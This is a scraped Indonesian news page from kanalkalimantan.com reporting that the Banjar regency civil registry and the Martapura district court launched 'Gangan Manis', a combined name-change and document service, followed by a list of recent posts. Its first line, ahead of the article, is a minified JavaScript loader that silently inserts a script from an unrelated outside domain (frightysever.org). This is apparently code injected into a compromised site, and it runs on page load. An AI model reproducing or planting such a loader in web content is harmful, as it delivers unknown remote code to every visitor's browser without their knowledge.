(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Melihat Kegiatan Disdukcapil di Sepanjang 2021


KANALKALIMANTAN.COM, MARTAPURA – Dinas Kependudukan dan Catatan Sipil (Disdukcapil) Kabupaten Banjar tak henti melakukan terobosan mempermudah pelayanan kepada masyarakat dalam hal pencatatan kependudukan dan catatan sipil.

Terobosan itu seperti yang terlihat pada layanan Gangan Manis (Ganti Ngaran Mudah,Cepat dan Praktis).

Bupati Banjar H Saidi Mansyur launching layanan Gangan Manis (Ganti Ngaran Mudah,Cepat dan Praktis) di Aula Pengadilan Negeri (PN) Martapura Kamis (30/9/2021) pagi.

Turut hadir menyaksikan Wakil Bupati Banjar Habib Idrus Al-Habsyie, Ketua PN Martapura Kelas 1B Noor Iswandi, Kepala Disdukcapil Banjar Azwar, Inspektur Kabupaten Banjar Kencanawati dan Kepala DPMPTSP Banjar Ida Pressy.

 

 

Baca juga: Mahasiswa Gelar Protes Jalan Nasional Rusak, PT Conch Harus Bertanggung Jawab

Bupati Banjar dalam sambutannya mengatakan inovasi layanan Gangan Manis untuk masyarakat Kabupaten Banjar ini untuk memudahkan dan mendekatkan pelayanan kepada masyarakat.

“Melalui inovasi Gangan Manis akan dapat memotong alur prosedur layanan penggantian nama sehingga layanan ini lebih mudah,cepat dan praktis,” ujar Saidi.

Dokumen yang dihasilkan melalui inovasi Gangan Manis yakni berupa penetapan Pengadilan Negeri untuk mengganti nama,akta kelahiran dengan penambahan Caping (Catatan Pinggiran),KTP/KIA dan Kartu Keluarga.

Pada kesempatan tersebut juga dilakukan penandatangan kesepakatan bersama antara Pemerintah Daerah Kabupaten Banjar dengan Pengadilan Negeri Martapura,merupakan sebuah bentuk komitmen untuk mewujudkan implementasi layanan yang terintegrasi.

Baca juga: Melihat Kegiatan Disdukcapil di Sepanjang 2021

Sementara itu Ketua PN Martapura Kelas 1B Noor Iswandi menambahkan dengan melakukan kolaborasi dengan Dinas Kependudukan dan Catatan Sipil (Disdukcapil) Kabupaten Banjar,selain Penetapan Pengadilan Negeri untuk mengganti Nama sekaligus mendapatkan Akta Kelahiran dengan penambahan Caping (Catatan Pinggiran),KTP/KIA dan Kartu Keluarga tanpa perlu bolak balik mengurus ke Disdukcapil dan Pengadilan Negeri,cukup dengan mendatangi Pengadilan Negeri Martapura kelas 1B sehingga dapat memudahkan dan memberikan pelayanan yang lebih baik kepada masyarakat Kabupaten Banjar. (kanalkalimantan.com/dhani)

Reporter: Dhani
Editor: Dhani


Risa

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

9 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

9 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

11 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.